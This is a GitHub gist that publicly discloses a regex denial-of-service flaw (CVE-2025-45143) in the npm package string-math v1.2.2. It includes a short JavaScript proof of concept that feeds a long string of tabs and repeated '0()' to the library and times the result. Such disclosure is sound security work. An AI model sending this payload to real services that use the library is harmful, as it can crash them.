Skip to content

Instantly share code, notes, and snippets.

@6en6ar
Last active June 30, 2025 11:39
Show Gist options
  • Select an option

  • Save 6en6ar/361608bccedb808061359481fe2f1b39 to your computer and use it in GitHub Desktop.

Select an option

Save 6en6ar/361608bccedb808061359481fe2f1b39 to your computer and use it in GitHub Desktop.
Public disclosure for a security issue inside string-math v1.2.2
Product: https://www.npmjs.com/package/string-math
Version: v1.2.2
Vulnerability type: Regex Denial of Service
CVE ID: CVE-2025-45143
Description: The regex on line 7. inside string-math.js is vulnerable to Regex Denial of Service if a long input is provided,
in this case a long input of null bytes and tabs will cause the application to crash eventually.
Payload used:
var stringMath = require('string-math');
const { performance } = require("perf_hooks");
const start = performance.now();
payload = '\t'.repeat(5000) + '0()'.repeat(100)
//stringMath("-5-5") //-10
stringMath(payload)
const end = performance.now();
console.log(`time taken: ${end - start}ms`);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment